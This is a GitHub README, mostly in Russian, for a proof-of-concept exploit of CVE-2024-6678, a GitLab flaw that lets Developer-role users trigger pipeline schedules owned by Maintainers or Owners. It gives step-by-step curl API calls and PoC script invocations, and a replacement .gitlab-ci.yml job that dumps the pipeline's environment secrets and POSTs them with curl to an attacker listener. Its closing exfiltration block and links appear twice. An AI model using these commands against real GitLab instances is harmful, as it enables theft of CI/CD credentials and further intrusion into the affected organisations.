FaLLenSKiLL1/CVE-2024-6678
GitHub: FaLLenSKiLL1/CVE-2024-6678
Stars: 4 | Forks: 1
# CVE-2024-6678 - GitLab: Pipeline Schedule Arbitrary User Trigger
PoC for CVE-2024-6678
## Описание уязвимости
GitLab позволяет пользователям вручную запускать расписания CI/CD-пайплайнов (Pipeline Schedules) через кнопку «Play». Уязвимость состоит в том, что функция «play» позволяет **любому пользователю с правами Developer** (а не только владельцу расписания) запустить расписание. При этом возникает два следствия:
1. Разработчик запускает расписание, созданное и настроенное более привилегированным пользователем (Maintainer / Owner).
2. Запущенный пайплайн наследует переменные среды из расписания (включая чувствительные), несмотря на то что у Developer нет прав на их просмотр через API.
При этом, итоговый импакт будет зависить от того, что хранится в переменных расписания. Например переменная DB_PASSWORD открывает возможность сделать полный дамп базы данных, а SSH_PRIVATE_KEY - получить RCE.
## Шаги воспроизведения
### Предварительные требования
- GitLab CE/EE, версии от 8.14 до 17.1.6 / 17.2.4 / 17.3.1
- Учётная запись атакующего с правами **Developer** в целевом проекте
- В проекте существует хотя бы одно активное расписание пайплайна
- Расписание нацелено на **незащищённую** ветку (например, `develop`, `staging`) — либо в проекте есть расписания с коротким форматом ref (bypass)
### Шаг 1. Получить список расписаний
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Найти расписание, принадлежащее более привилегированному пользователю (Maintainer/Owner).
### Шаг 2. Запустить расписание
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
**Ожидаемый ответ**: HTTP 201 — пайплайн добавлен в очередь.
Пайплайн создаётся **от имени атакующего** (`current_user`), но со всеми переменными расписания (которые могут включать API-ключи, токены, credentials, настроенные владельцем).
### Шаг 3. Подтвердить создание пайплайна от имени атакующего
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
## Использование PoC
# Базовый запуск: автовыбор расписания
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Указать конкретное расписание
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Через GraphQL (требует --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Проверить legacy-ref bypass
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Перед триггером PoC заменяет .gitlab-ci.yml в develop на:
stages: [exfil]
dump_vars:
stage: exfil
script:
- env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Всё это прилетает на ваш листенер
## Ссылки
- [GitLab Security Advisory](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/)
- [NVD: CVE-2024-6678](https://nvd.nist.gov/vuln/detail/CVE-2024-6678)
Перед триггером PoC заменяет .gitlab-ci.yml в develop на:
stages: [exfil]
dump_vars:
stage: exfil
script:
- env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
Всё это прилетает на ваш листенер
## Ссылки
- [GitLab Security Advisory](https://about.gitlab.com/releases/2024/09/11/patch-release-gitlab-17-3-2-released/)
- [NVD: CVE-2024-6678](https://nvd.nist.gov/vuln/detail/CVE-2024-6678)